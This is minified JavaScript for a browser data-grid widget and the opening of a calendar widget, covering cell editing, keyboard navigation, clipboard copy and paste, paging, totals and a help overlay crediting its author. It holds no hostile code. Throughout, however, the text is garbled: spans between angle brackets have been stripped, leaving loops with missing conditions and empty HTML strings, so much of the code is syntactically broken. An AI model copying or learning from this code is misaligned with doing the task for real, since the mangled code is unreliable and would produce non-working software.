a=Mrlce('a');a.style.position='relative';a.style.marginTop='5px';a.href='javascript:void(0)';a.innerHTML='<';a.gr=gr;if(gr.selpg){a.onclick=selpgfuncs[1];}else{a.onclick=function(){if(this.gr.pg>0){this.gr.pg--;this.gr.grid()}};};p.appendChild(a);var sel=Mrlce('select');sel.style.margin='5px 20px 0px 20px';sel.style.position='relative';for(var i=0;i(gr.ty.childNodes.length-1)){gr.row=(gr.ty.childNodes.length-1);if(gr.row<0){gr.row=0;};var mrm=gr.row;};if(gr.cells(mrm,mcm)){gr.cells(mrm,mcm).sele();};gr.ty.parentNode.parentNode.parentNode.scrollTop=mstm;gr.scrollLeft=mslm;};var pgctrl=Mrlce('div');Mrlab4(pgctrl,null,0,30);pgctrl.style.textAlign='center';pgctrl.style.bottom='0px';pgctrl.style.width='100%';gr.appendChild(pgctrl);gr.onscroll=function(){var gr=this.gr;var p=gr.pgctrl;p.style.left=gr.scrollLeft+'px';gr.ttlctrl.style.left=(gr.scrollLeft*1+20*1)+'px';gr.mcopybtn.style.right=(5-gr.scrollLeft)+'px';gr.mpastebtn.style.right=(5-gr.scrollLeft)+'px';};gr.pgctrl=pgctrl;gr.row=0;gr.col=0;gr.prow=0;gr.pcol=0;var ctrl=Mrlce('input');Mrlab4(ctrl,-20,0,20,100);gr.rc=2;gr.kdc=2;gr.appendChild(ctrl);ctrl.gr=gr;gr.ctrl=ctrl;gr.mcopied=(0-1);gr.mundo=0;gr.mundoary=new Array();ctrl.onkeydown=function(e){e=e?e:window.event;var kc=e.which?e.which:e.keyCode;if(kc==16){this.gr.rc=1;}else if(kc==17){this.gr.kdc=1;}else if(kc==27){this.gr.mcopied=(0-1);var r=this.gr.row;var c=this.gr.col;this.gr.grid();this.gr.cells(r,c).sele();return false;}else if(kc==36){var r=this.gr.row;for(var c=0;c=3){break;};if(c>=(this.gr.hd.length-1)){c=this.gr.col;break;};};this.gr.cells(r,c).sele();return false;}else if(kc==35){var r=this.gr.row;var hd=this.gr.hd;var cc=this.gr.hd.length;for(var c=cc-1;c>=0;c--){if(this.gr.hd[c][1]*1>=3){break;};if(c<=0){c=cc;break;};};this.gr.cells(r,c).sele();return false;}else if(kc==33&&this.gr.kdc==1){var t=this.gr.selpg.value;if(t!=1){this.gr.selpg.value=1;this.gr.selpg.onchange();return false;};}else if(kc==33){var t=this.gr.selpg.value;if(t!=1){this.gr.selpg.value=t*1-1;this.gr.selpg.onchange();return false;};}else if(kc==34&&this.gr.kdc==1){var t=this.gr.selpg.value;if(t!=this.gr.selpg.options.length){this.gr.selpg.value=this.gr.selpg.options.length;this.gr.selpg.onchange();return false;};}else if(kc==34){var t=this.gr.selpg.value;if(t!=this.gr.selpg.options.length){this.gr.selpg.value=t*1+1;this.gr.selpg.onchange();return false;};}else if((kc==90||kc==122)&&this.gr.kdc==1){var r=this.gr.row;var c=this.gr.col;this.gr.mfuncundo();this.gr.cells(r,c).sele();}else if((kc==65||kc==97)&&this.gr.kdc==1){var a=Mrlce('textarea');a.id='MrlGetGridCopy_'+parseInt(Math.random()*99999);a.gr=this.gr;Mrlab4(a,0,-1000,200,200);document.body.appendChild(a);a.onkeydown=function(e){e=e||window.event;var kc=e.which||e.keyCode;if(kc==27||kc==37||kc==38||kc==39||kc==40){this.onblur()};};a.onblur=function(){var gr=this.gr;var ty=gr.ty;var trs=ty.getElementsByTagName('tr');for(var i=0;i/g,' ').replace(/\"/g,"''").replace(/<([^<>])+>/ig,'').replace(/<([^<>])+>/ig,'').replace(/<([^<>])+>/ig,'');};};var nndat=new Array();var nnndat=this.gr.getFData();for(var q=0;q/g,' ').replace(/\"/g,"''").replace(/<([^<>])+>/ig,'').replace(/<([^<>])+>/ig,'').replace(/<([^<>])+>/ig,''),decodeURI('%0a'),decodeURI('%0d')),decodeURI('%0d'),' '),decodeURI('%01')+decodeURI('%03'),decodeURI('%09'));};}else{for(var i=0;i/g,' ').replace(/\"/g,"''").replace(/<([^<>])+>/ig,'').replace(/<([^<>])+>/ig,'').replace(/<([^<>])+>/ig,'');};var ndat=ndat.concat(this.gr.getFData());for(var i=0;i/g,' ').replace(/\"/g,"''").replace(/<([^<>])+>/ig,'').replace(/<([^<>])+>/ig,'').replace(/<([^<>])+>/ig,''),decodeURI('%0a'),decodeURI('%0d')),decodeURI('%0d'),' '),decodeURI('%01')+decodeURI('%03'),decodeURI('%09'));};};var ndat=ndat.join(decodeURI('%0a'));var trs=this.gr.ty.childNodes;for(var i=0;i=0;c--){if(this.gr.hd[c][1]*1>=3){break;};if(c<=0){c=cc;break;};};this.gr.cells(this.gr.row,c).edit();return false;}else if(kc==9&&this.gr.rc==2){for(var c=this.gr.col*1+1;c=3){break;};if(c>=(this.gr.hd.length-1)){c=this.gr.col;break;};};this.gr.cells(this.gr.row,c).edit();return false;}else if(kc==46){if(this.gr.editAry[this.gr.col]=='Y'&&this.gr.edYN=='Y'){if(this.gr.cit[this.gr.col]=='c'){if(this.gr.selectedCell.val()!='false'){this.gr.selectedCell.val('false');this.gr.selectedCell.getElementsByTagName('input')[0].checked=false;};}else{if(this.gr.selectedCell.val()!=''){this.gr.selectedCell.val('');};};};}else if(kc==37){var cc=this.gr.col;for(var c=cc-1;c>=0;c--){if(this.gr.hd[c][1]*1>=3){break;};if(c==0){c=cc;break;};};this.gr.cells(this.gr.row,c).sele();}else if(kc==38){this.gr.cells(this.gr.row*1-1,this.gr.col).sele();}else if(kc==39){for(var c=this.gr.col*1+1;c=3){break;};if(c>=(this.gr.hd.length-1)){c=this.gr.col;break;};};this.gr.cells(this.gr.row,c).sele();}else if(kc==40){this.gr.cells(this.gr.row*1+1,this.gr.col).sele();}else{this.gr.selectedCell.edit();};};ctrl.onkeyup=function(e){e=e?e:window.event;var kc=e.which?e.which:e.keyCode;if(kc==16){this.gr.rc=2;}else if(kc==17){this.gr.kdc=2;};};ctrl.onblur=function(){var gr=this.gr;gr.rc=2;gr.kdc=2;};var ed=Mrlce('input');Mrlab4(ed,0,-1000,20,100);ed.style.backgroundColor=gr.Lsclbk;ed.style.color=gr.Lsclcl;ed.style.border='none';ed.style.zIndex='5';ed.style.fontSize=gr.Lfs;ed.style.fontFamily=gr.Lfam;thd.childNodes[0].appendChild(ed);gr.ed=ed;ed.gr=gr;ed.onfocus=function(){this.style.fontSize=this.gr.Lfs;};ed.onkeydown=function(e){e=e?e:window.event;var kc=e.which?e.which:e.keyCode;if(kc==16){this.gr.rc=1;}else if(kc==13||kc==113){ed.onMrlblur=ed.onblur;ed.onblur=function(){};if(ed.slind||ed.slind==0){this.gr.selectedCell.slind=ed.slind};var coltyp=this.gr.cit[this.gr.col].toString();if(coltyp=='i'){this.gr.selectedCell.val(this.value);}else if(coltyp=='p'){var strs='******************************************************************************************************************************';this.gr.selectedCell.val(strs.substring(0,this.value.length));}else{this.gr.selectedCell.val(this.value);};this.style.left=(0-this.offsetWidth)+'px';this.gr.ctrl.select();ed.onblur=ed.onMrlblur;if(kc==13){setTimeout("var gr=Mrlgei('"+this.gr.id+"');gr.cells(gr.row*1+1,gr.col).sele()",1);};}else if(kc==27){this.style.left=(0-this.offsetWidth)+'px';this.gr.ctrl.select();}else if(kc==9&&this.gr.rc==1){ed.onMrlblur=ed.onblur;ed.onblur=function(){};if(ed.slind||ed.slind==0){this.gr.selectedCell.slind=ed.slind};var coltyp=this.gr.cit[this.gr.col].toString();if(coltyp=='i'){this.gr.selectedCell.val(this.value);}else if(coltyp=='p'){var strs='******************************************************************************************************************************';this.gr.selectedCell.val(strs.substring(0,this.value.length));}else{this.gr.selectedCell.val(this.value);};var cc=this.gr.col*1;for(var c=cc-1;c>=0;c--){if(this.gr.hd[c][1]*1>=3){break;};if(c<=0){c=cc;break;};};this.gr.cells(this.gr.row,c).edit();ed.onblur=ed.onMrlblur;return false;}else if(kc==9&&this.gr.rc==2){ed.onMrlblur=ed.onblur;ed.onblur=function(){};if(ed.slind||ed.slind==0){this.gr.selectedCell.slind=ed.slind};var coltyp=this.gr.cit[this.gr.col].toString();if(coltyp=='i'){this.gr.selectedCell.val(this.value);}else if(coltyp=='p'){var strs='******************************************************************************************************************************';this.gr.selectedCell.val(strs.substring(0,this.value.length));}else{this.gr.selectedCell.val(this.value);};for(var c=this.gr.col*1+1;c=3){break;};if(c>=(this.gr.hd.length-1)){c=this.gr.col;break;};};this.gr.cells(this.gr.row,c).edit();ed.onblur=ed.onMrlblur;return false;};};ed.onblur=function(){if(ed.slind||ed.slind==0){this.gr.selectedCell.slind=ed.slind};var coltyp=this.gr.cit[this.gr.col].toString();if(coltyp=='i'){this.gr.selectedCell.val(this.value);}else if(coltyp=='p'){var strs='******************************************************************************************************************************';this.gr.selectedCell.val(strs.substring(0,this.value.length));}else{this.gr.selectedCell.val(this.value);};this.style.left=(0-this.offsetWidth-100)+'px';};ed.onMrlbblur=function(){if(ed.slind||ed.slind==0){this.gr.selectedCell.slind=ed.slind};var coltyp=this.gr.cit[this.gr.col].toString();if(coltyp=='i'){this.gr.selectedCell.val(this.value);}else if(coltyp=='p'){var strs='******************************************************************************************************************************';this.gr.selectedCell.val(strs.substring(0,this.value.length));}else{this.gr.selectedCell.val(this.value);};this.style.left=(0-this.offsetWidth-100)+'px';};ed.onkeyup=function(e){e=e?e:window.event;var kc=e.which?e.which:e.keyCode;if(kc==16){this.gr.rc=2;};};gr.oncolch=new Array();for(var i=0;i");if(gr.beforeedit){gr.beforeedit()};ed.style.left=(0-ed.offsetWidth-1000)+'px';if(gr.edYN!='Y'){gr.ctrl.select();return 0};if(gr.editAry[gr.col]!='Y'){gr.ctrl.select();return 0};var cit=gr.cit;if(cit[gr.col]=='i'){ed.style.top=(gr.selectedCell.offsetTop*1+50)+'px';ed.style.left=gr.selectedCell.offsetLeft+'px';ed.style.height=gr.selectedCell.offsetHeight+'px';ed.style.width=gr.selectedCell.offsetWidth+'px';ed.style.textAlign=gr.ta[gr.col];ed.setAttribute('maxLength',gr.mml[gr.col]);ed.setAttribute('type','text');ed.select();}else if(cit[gr.col]=='p'){ed.style.top=(gr.selectedCell.offsetTop*1+50)+'px';ed.style.left=gr.selectedCell.offsetLeft+'px';ed.style.height=gr.selectedCell.offsetHeight+'px';ed.style.width=gr.selectedCell.offsetWidth+'px';ed.style.textAlign=gr.ta[gr.col];ed.setAttribute('maxLength',gr.mml[gr.col]);ed.setAttribute('type','password');ed.select();}else if(cit[gr.col]=='c'){ed.style.left=(0-ed.offsetWidth-1000)+'px';var cb=this.getElementsByTagName('input')[0];cb.ed=ed;cb.focus();}else if(cit[gr.col]=='s'){var sl=Mrlce('input');sl.style.zIndex='10000';var cits=gr.cits;sl.style.textAlign=gr.ta[gr.col];var nops=new Array();for(var i=0;i");sl.oValue=MrlReplace(MrlReplace(MrlReplace(val.innerHTML, "&", "&"), "<", "<"), ">" , ">");MrlSelectBox(sl,nops);sl.gr=gr;sl.onMrlSubmit=function(){this.ed.slind=this.onMrlResult[1];this.ed.onMrlResult=this.onMrlResult.slice();this.gr.cells(this.row,this.col).val(this.onMrlResult[0]);this.gr.cells(this.row,this.col).slind=this.onMrlResult[1];};sl.select();if((gr.rs.scrollTop*1+130*1)<(sl.offsetTop*1+sl.offsetHeight*1)){gr.rs.scrollTop=gr.rs.scrollTop*1+80};};gr.thd.style.height='101%';gr.thd.style.height='100%';};gr.rs=thd;gr.cs=gr;gr.Lcellselect=function(){var gr=this.parentNode.parentNode.gr;var ty=gr.ty;if(ty.childNodes.length==0){return 0};ty.childNodes[gr.prow].style.backgroundColor=gr.Lcelbk;ty.childNodes[gr.prow].style.color=gr.Lcelcl;ty.childNodes[gr.prow].childNodes[gr.pcol].style.backgroundColor='';ty.childNodes[gr.prow].childNodes[gr.pcol].style.color='';gr.row=this.row;gr.col=this.col;gr.prow=gr.row;gr.pcol=gr.col;gr.selectedCell=this;ty.childNodes[gr.row].style.backgroundColor=gr.Lsrbk;ty.childNodes[gr.row].style.color=gr.Lsrcl;ty.childNodes[gr.row].childNodes[gr.col].style.backgroundColor=gr.Lsclbk;ty.childNodes[gr.row].childNodes[gr.col].style.color=gr.Lsclcl;var ht=gr.rs.scrollTop*1+gr.rs.offsetHeight*1;var wd=gr.cs.scrollLeft*1+gr.cs.offsetWidth*1;var ht2=ty.childNodes[gr.row].childNodes[gr.col].offsetTop*1+ty.childNodes[gr.row].childNodes[gr.col].offsetHeight*1+50;var wd2=ty.childNodes[gr.row].childNodes[gr.col].offsetLeft*1+ty.childNodes[gr.row].childNodes[gr.col].offsetWidth*1;gr.ctrl.style.width=ty.childNodes[gr.row].childNodes[gr.col].offsetWidth+'px';gr.ctrl.style.height=ty.childNodes[gr.row].childNodes[gr.col].offsetHeight+'px';gr.ctrl.style.left=this.offsetLeft+'px';gr.ctrl.style.top=(0-ty.childNodes[gr.row].childNodes[gr.col].offsetHeight-gr.ctrl.offsetHeight)+'px';if(ht2>ht){gr.rs.scrollTop=(ht2-gr.rs.offsetHeight*1)*1+50;}else if((this.offsetTop*1)<(gr.rs.scrollTop*1)){gr.rs.scrollTop=(this.offsetTop*1);};if(wd2>wd){gr.cs.scrollLeft=(wd2-gr.cs.offsetWidth*1);}else if((this.offsetLeft*1+10)<(gr.cs.scrollLeft*1)){gr.cs.scrollLeft=(this.offsetLeft*1);};};gr.cells=function(grcellrow,grcellcol){var gr=this;var ty=gr.ty;if(ty.childNodes.length<=0){return 0};if(grcellrow>=ty.childNodes.length||grcellrow<0||grcellcol>=gr.hd.length||grcellcol<0){if(grcellrow>=ty.childNodes.length){grcellrow=(ty.childNodes.length-1);}else if(grcellrow<0){grcellrow=0;};if(grcellcol>=gr.hd.length){grcellcol=(gr.hd.length-1);}else if(grcellcol<0){grcellcol=0;};/*gr.row=grcellrow;gr.col=grcellcol;*/return ty.childNodes[gr.row].childNodes[gr.col];};/*gr.row=grcellrow;gr.col=grcellcol;*/return ty.childNodes[grcellrow].childNodes[grcellcol];};gr.getOData=function(){var a=new Array;var dat=gr.odat;for(var i=0;i]+\>/gi,'')]!==undefined){ChkA=1}else{if(ChkA==3){ChkA=1}else{ChkA=2}}; }; if(ChkA!=1){break}; }; if(ChkA==1){n++;a[n]=dat[i].slice(0,dat[i].length-1)};};return a;};gr.hiddenSortings=function(){var gr=this.gr;gr.sortAD=new Array();var nsdat=new Array();var dat=gr.dat;for(var i=0;igr.hd.length){ndat[i]=ndat[i].slice(0,gr.hd.length);}else if(ndat[i].length=gr.ty.childNodes.length&&chkb){if(gr.selpg.value=hd.length){var chka=3;}else if(chkb&&nr>=gr.ty.childNodes.length){var r=(0-i);var nr=0;if(gr.cells(nr,nc)){gr.row=nr;gr.col=nc;gr.cells(nr,nc).val(ndat[i][q]+'',null,1);};}else if(nr>=gr.ty.childNodes.length){var chka=3;}else if(gr.editAry[nc].toUpperCase()=='Y'){if(gr.cells(nr,nc)){gr.row=nr;gr.col=nc;gr.cells(nr,nc).val(ndat[i][q]+'',null,1);};}else{var chka=2;};};};var rr=gr.row;var cc=gr.col;if(chka==2){gr.cells(rr,cc).sele();gr.ctrl.focus();gr.malert(this.gr.malertPasteRange);}else if(chka==3){gr.cells(rr,cc).sele();gr.ctrl.focus();gr.malert(this.gr.malertOutOfRange);}else{gr.cells(rr,cc).sele();gr.ctrl.focus();};gr.row=rr;gr.col=cc;};setTimeout('Mrlgei("'+a.id+'").mpaste()',1);};gr.mpaste=function(){var a=Mrlce('textarea');a.id='MrlGetPaste_'+parseInt(Math.random()*99999);a.gr=this.gr;if(this.gr.edYN.toUpperCase()=='N'){this.gr.malert('Readonly');return 0;};document.body.appendChild(a);Mrlab4(a,0,-1000,200,200);a.focus();a.mpaste=function(){var a=this;var gr=a.gr;var hd=gr.hd;var r=gr.row;var c=gr.col;var val=a.value;var cpg=gr.selpg.value;var dln=gr.getFData().length;var mxpg=Math.ceil(dln/gr.rpp);var chkb=(dln==gr.getData().length);var chka=1;if(val.substring(val.length-1)!=decodeURI('%0a')){val+=decodeURI('%0a');};var nndat=val.split(decodeURI("%0a"));var ndat=new Array();for(var i=0;i=gr.ty.childNodes.length&&chkb){if(gr.selpg.value=hd.length){var chka=3;}else if(chkb&&nr>=gr.ty.childNodes.length){var r=(0-i);var nr=0;gr.row=nr;gr.col=nc;gr.cells(nr,nc).val(ndat[i][q]+'',null,1);}else if(nr>=gr.ty.childNodes.length){var chka=3;}else if(gr.editAry[nc].toUpperCase()=='Y'){gr.row=nr;gr.col=nc;gr.cells(nr,nc).val(ndat[i][q]+'',null,1);}else{var chka=2;};};};var rr=gr.row;var cc=gr.col;if(chka==2){gr.cells(rr,cc).sele();gr.ctrl.focus();gr.malert(this.gr.malertPasteRange);}else if(chka==3){gr.cells(rr,cc).sele();gr.ctrl.focus();gr.malert(this.gr.malertOutOfRange);}else{gr.cells(rr,cc).sele();gr.ctrl.focus();};gr.row=rr;gr.col=cc;};setTimeout('Mrlgei("'+a.id+'").mpaste()',1);};gr.malertPasteRange='Paste range contains readonly columns';gr.malertOutOfRange='Paste Range Out of Range';gr.malert=function(malert_tt){var gr=this.gr;var d=Mrlce('div');Mrlab4(d,0,gr.scrollLeft);var gsl=gr.scrollLeft;gr.appendChild(d);d.style.height='100%';if(gr.ttw>=gr.offsetWidth){d.style.width='100%'}else{d.style.width=gr.ttw+'px'};d.style.width='100%';d.innerHTML="
";var td=d.getElementsByTagName('input')[0].parentNode;td.removeChild(td.getElementsByTagName('input')[0]);var dd=Mrlce('div');dd.style.padding='10px 33px 10px 33px';dd.innerHTML=malert_tt;dd.style.border='solid 1px '+gr.Lhdcl;dd.style.borderRadius='5px';dd.style.backgroundColor=gr.Lhdbk;dd.style.color=gr.Lhdcl;dd.style.fontFamily='verdana';dd.style.overflow='hidden';dd.style.fontSize='22px';var inp=Mrlce('input');Mrlab4(inp,-100,-100,20,40);dd.appendChild(inp);td.appendChild(dd);inp.focus();gr.scrollLeft=gsl;inp.dd=d;inp.gr=gr;inp.onblur=function(){var dd=this.dd;dd.parentNode.removeChild(dd);setTimeout("Mrlgei('"+this.gr.id+"').ctrl.select()",100);};inp.onkeydown=function(e){e=e?e:window.event;var kc=e.which?e.which:e.keyCode;if(kc==27){setTimeout("Mrlgei('"+this.gr.id+"').ctrl.select()",100);};};};gr.insRow=function(rn,na_ary){var gr=this.gr;var sdat=gr.sdat;var dat=gr.dat;var a=gr.selectedCell;if(rn||rn==0){a=gr.cells(rn,gr.col)};var q=gr.sdat[a.sdr][gr.sdat[a.sdr].length-1];var p=a.sdr;var hd=gr.hd;var na=new Array();na[0]=new Array();var rc=1;if(na_ary){var ChkA=2;for(var r=0;r=q){dat[i][dat[i].length-1]=b*1+rc};if(c>=q){sdat[i][sdat[i].length-1]=c*1+rc};};if(q<=gr.mcopied){gr.mcopied++;};var nna=new Array();for(var i=0;i=q){dat[i][dat[i].length-1]=b*1-cc*1};if(c>=q){sdat[i][sdat[i].length-1]=c*1-cc*1};};if(q==gr.mcopied){gr.mcopied=(0-1);};if(q=gr.ty.childNodes.length){r=gr.ty.childNodes.length-1};if(gr.cells(r,c)){gr.cells(r,c).sele();};if(gr.delRowEnd){gr.delRowEnd()};};gr.meditElder=function(){var gr=this;var gra=MrlGridForElder(gr);gra.setAttribute('style',gr.getAttribute('style'));Mrlab4(gra,0,0,gr.offsetHeight,gr.offsetWdith);gra.style.overflow='scroll';gra.style.overflowY='scroll';gr.style.overflow='hidden';gra.style.backgroundColor='#fff';gra.style.border='solid 1px #ddd';gra.style.zIndex=30;gr.appendChild(gra);if(gr.mgr){if(gr.mgr.parentNode==gr){gra.scrollTop=gr.mgr.scrollTop;gr.removeChild(gr.mgr);}};gr.mgr=gra;};gr.mttlYN='N';var ttlctrl=Mrlce('div');gr.ttlctrl=ttlctrl;ttlctrl.innerHTML='Total';Mrlab4(ttlctrl,null,20,15);ttlctrl.style.display='block';ttlctrl.style.whiteSpace='noWrap';ttlctrl.noWrap=true;var mc=mrgb(gr.Lcelbk);ttlctrl.style.padding='2px 12px 2px 12px';ttlctrl.style.zIndex='9';ttlctrl.style.border='solid 1px '+mc[80];ttlctrl.style.borderBottom='none';ttlctrl.style.borderTopLeftRadius='5px';ttlctrl.style.borderTopRightRadius='5px';ttlctrl.style.bottom='0px';ttlctrl.style.cursor='pointer';ttlctrl.gr=gr;ttlctrl.style.textAlign='center';ttlctrl.onclick=function(){this.gr.totalYN(((this.gr.mttlYN=='Y')?'N':'Y'))};Mrlft(ttlctrl,'verdana',12,mc[80]);ttlctrl.style.backgroundColor=mc[0];gr.appendChild(ttlctrl);var ttltr=Mrlce('div');gr.ttltr=ttltr;var tds=new Array();ttltr.innerHTML='
';ttltr.tds=tds;Mrlab4(ttltr,null,0,20,gr.ty.offsetWidth);ttltr.style.bottom='-20px';gr.appendChild(ttltr);var tr=ttltr.getElementsByTagName('td')[0].parentNode;tr.removeChild(tr.childNodes[0]);for(var i=0;i';Mrlft(ttlctrl,'verdana',12,mc[80]);ttlctrl.style.backgroundColor=mc[0];var mc=mrgb(gr.Lcelbk);ttlctrl.style.border='solid 1px '+mc[80];ttlctrl.style.borderBottom='none';var ttltr=gr.ttltr;var tds=ttltr.tds;var ttls=new Array();var dat=gr.getFData();for(var q=0;q'+btns[i][0]+'';a.gr=gr;eval("a.onclick="+btns[i][1]);tl.appendChild(a);};gr.appendChild(tl);gr.tl=tl;tl.gr=gr;};gr.editAry=new Array();for(var i=0;i';flist+='T:+852 2421 2200'+'
';flist+='by Morris Leung'+'
';flist+='------------------------------------------------

';flist+='------------------------------------------------
';flist+='Toolbar
';flist+='-------------------
';flist+="return.sortYN('Y' or 'N')"+'
';flist+="return.filterYN('Y' or 'N')"+'
';flist+="return.insertRowYN('Y' or 'N')"+'
';flist+="return.exportYN('Y' or 'N')"+'
';flist+="return.editYN('Y' or 'N')"+'
';flist+="return.toolBarYN('Y' or 'N')"+'
';flist+='------------------------------------------------

';flist+='------------------------------------------------
';flist+='Cells
';flist+='------------------------------------------------
';flist+="return.selectedCell td of cell"+'
';flist+="return.cells(row,col) td of cell"+'
';flist+="td.sele() select cell"+'
';flist+="td.edit() edit cell"+'
';flist+="td.val('value') apply value to cell"+'
';flist+="td.onch=function(){your function} = cell on change function"+'
';flist+='------------------------------------------------

';flist+='------------------------------------------------
';flist+='Column
';flist+='------------------------------------------------
';flist+="return.selectBoxCol(col num, ary of select option list)"+'
';flist+="return.checkBoxCol(col num)"+'
';flist+="return.inputBoxCol(col num)"+'
';flist+="return.editCol(col num, Y or N)"+'
';flist+="td.oncolch[col num]=function(){your function} = cell on change function"+'
';flist+='------------------------------------------------

';flist+='------------------------------------------------
';flist+='Table
';flist+='------------------------------------------------
';flist+="return.filter() turn user filter on and off"+'
';flist+="return.sortCol(col num, 1 or 0 or -1) sort data"+'
';flist+="return.clearSorting() clear all sorting"+'
';flist+="return.insRow(row num, array as insert values) insert row with values"+'
';flist+="return.delRow(optional row num) delete row"+'
';flist+='------------------------------------------------

';flist+='------------------------------------------------
';flist+='Data
';flist+='------------------------------------------------
';flist+="return.updateData() Sets the Original Data"+'
';flist+="return.getOData() returns the Original Data"+'
';flist+="return.getData() returns the Edited Data"+'
';flist+="return.getSData() returns the Edited Sorted Data"+'
';flist+="return.getFData() returns the Edited Sorted Filtered Data"+'
';flist+='------------------------------------------------
';flist+=''+'
';flist+=''+'
';var a=Mrlce('div');Mrlab4(a,0,0);a.style.height='100%';a.style.width='100%';a.style.backgroundColor='#036';a.style.fontFamily='verdana';a.style.fontSize='12px';a.style.color='#0f0';a.style.zIndex='99999';a.style.overflow='scroll';a.style.textAlign='left';a.innerHTML=flist;var b=Mrlce('input');Mrlab4(b,-100,-100,100,100);b.a=a;a.appendChild(b);b.onblur=function(){var a=this.a;a.parentNode.removeChild(a)};gr.appendChild(a);b.select();};gr.toolBar();var btn=Mrlce('img');btn.style.backgroundColor='#ddd';btn.src='/MRL/img/copy_black.png';Mrlab4(btn,5,null,20,20);btn.style.right='5px';gr.appendChild(btn);btn.style.zIndex='7';btn.style.borderRadius='5px';btn.style.cursor='pointer';btn.gr=gr;gr.mcopybtn=btn;btn.title='Copy';gr.LCopy_YN='Y';gr.LCopy=function(LCopy_YN){var gr=this;var cyn=LCopy_YN;if(!cyn){var cyn=((gr.LCopy_YN=='Y')?'N':'Y');};gr.LCopy_YN=cyn;gr.mcopybtn.style.display=((cyn=='Y')?'inline-block':'none');};btn.onclick=function(){var a=Mrlce('textarea');var gr=this.gr;a.gr=this.gr;Mrlab4(a,0,-1000,200,200);document.body.appendChild(a);var ndat=new Array();var nhd=this.gr.hd;ndat[0]=new Array();if(gr.mcopyvisible){for(var i=0;i/g,' ').replace(/\"/g,"''").replace(/<([^<>])+>/ig,'').replace(/<([^<>])+>/ig,'').replace(/<([^<>])+>/ig,'');};};var nndat=new Array();var nnndat=this.gr.getFData();for(var q=0;q/g,' ').replace(/\"/g,"''").replace(/<([^<>])+>/ig,'').replace(/<([^<>])+>/ig,'').replace(/<([^<>])+>/ig,''),decodeURI('%0a'),decodeURI('%0d')),decodeURI('%0d'),' '),decodeURI('%01')+decodeURI('%03'),decodeURI('%09'));};};/*if(gr.mcopytag){*/}else{for(var i=0;i/g,' ').replace(/\"/g,"''").replace(/<([^<>])+>/ig,'').replace(/<([^<>])+>/ig,'').replace(/<([^<>])+>/ig,'');};var ndat=ndat.concat(this.gr.getFData());if(gr.mcopytag){for(var i=0;i/g,' ').replace(/\"/g,"''").replace(/<([^<>])+>/ig,'').replace(/<([^<>])+>/ig,'').replace(/<([^<>])+>/ig,''),decodeURI('%0a'),decodeURI('%0d')),decodeURI('%0d'),' '),decodeURI('%01')+decodeURI('%03'),decodeURI('%09'));};};/*if(gr.mcopytag){*/};var ndat=ndat.join(decodeURI('%0a'));a.value=ndat;a.textContent=ndat;a.setSelectionRange(0,ndat.length*1+1*1);a.select();document.execCommand("copy");a.parentNode.removeChild(a);gr.malert('Data Copied');};var btn=Mrlce('img');btn.style.backgroundColor='#ddd';btn.src='/MRL/img/paste_black.png';Mrlab4(btn,30,null,20,20);btn.style.right='5px';gr.appendChild(btn);btn.style.zIndex='7';btn.style.borderRadius='5px';btn.style.cursor='pointer';btn.gr=gr;gr.mpastebtn=btn;btn.title='Paste';gr.LPaste_YN='Y';gr.LPaste=function(LPaste_YN){var gr=this;var cyn=LPaste_YN;if(!cyn){var cyn=((gr.LPaste_YN=='Y')?'N':'Y');};gr.LPaste_YN=cyn;gr.mpastebtn.style.display=((cyn=='Y')?'inline-block':'none');};btn.onclick=function(){var btn=this;var gr=btn.gr;if(gr.edYN.toUpperCase()=='N'){this.gr.malert('Readonly');return 0;};var hhc=Mrlmid();gr.appendChild(hhc);Mrlab4(hhc);var lbl=Mrlce('div');hhc.td.appendChild(lbl);lbl.style.display='block';Mrlft(lbl,'verdana',12,'#000');lbl.style.fontWeight='800';lbl.innerHTML='Paste into the following box';var a=Mrlce('textarea');a.id='MrlGetPaste_'+parseInt(Math.random()*99999);Mrlab4(a,null,null,'60%','80%',1);a.gr=this.gr;hhc.td.appendChild(a);hhc.td.hc=hhc;hhc.td.onclick=function(e){e=e||window.event;if(e.target==this){this.hc.mblur()}};a.focus();a.hc=hhc;a.id='MrlGetPaste_'+parseInt(Math.random()*99999);a.onkeyup=function(){this.onpaste()};a.onpaste=function(){setTimeout('Mrlgei("'+this.id+'").mpaste()')};a.mpaste=function(){var a=this;var gr=a.gr;var hd=gr.hd;var r=gr.row;var c=gr.col;var val=a.value;a.hc.mblur();var cpg=gr.selpg.value;var dln=gr.getFData().length;var mxpg=Math.ceil(dln/gr.rpp);var chkb=(dln==gr.getData().length);var chka=1;if(val.substring(val.length-1)!=decodeURI('%0a')){val+=decodeURI('%0a');};var nndat=val.split(decodeURI("%0a"));var ndat=new Array();for(var i=0;i=gr.ty.childNodes.length&&chkb){if(gr.selpg.value=hd.length){var chka=3;}else if(chkb&&nr>=gr.ty.childNodes.length){var r=(0-i);var nr=0;gr.row=nr;gr.col=nc;gr.cells(nr,nc).val(ndat[i][q]+'',null,1);}else if(nr>=gr.ty.childNodes.length){var chka=3;}else if(gr.editAry[nc].toUpperCase()=='Y'){gr.row=nr;gr.col=nc;gr.cells(nr,nc).val(ndat[i][q]+'',null,1);}else{var chka=2;};};};var rr=gr.row;var cc=gr.col;if(chka==2){gr.cells(rr,cc).sele();gr.ctrl.focus();gr.malert(this.gr.malertPasteRange);}else if(chka==3){gr.cells(rr,cc).sele();gr.ctrl.focus();gr.malert(this.gr.malertOutOfRange);}else{gr.cells(rr,cc).sele();gr.ctrl.focus();};gr.row=rr;gr.col=cc;};};gr.grid();var nid='MrlGrid'+parseInt(Math.random()*99999);gr.id=nid;return gr;};MrlCalendar=function(LCalendar_ObjA,LCalendar_FontSize,LCalendar_Type,LCalendar_Colour){var ip=LCalendar_ObjA;var fs=LCalendar_FontSize?LCalendar_FontSize:10;var par=ip;var mc=LCalendar_Colour||'#555';for(var i=0;par!=document.body;i++){var tn=par.tagName;tn+='';tn=tn.toUpperCase();if(tn=='CENTER'||tn=='DIV'||tn=='BUTTON'||tn=='SPAN'){break};par=par.parentNode;};var cal=Mrlce('div');cal.style.overflow='hidden';cal.style.textAlign='center';cal.style.zIndex='300';cal.fs=fs;cal.mhdat=new Array();if(document.body.mholdat!==undefined){var hdat=new Array();var chdat=document.body.mholdat;for(var i=0;i
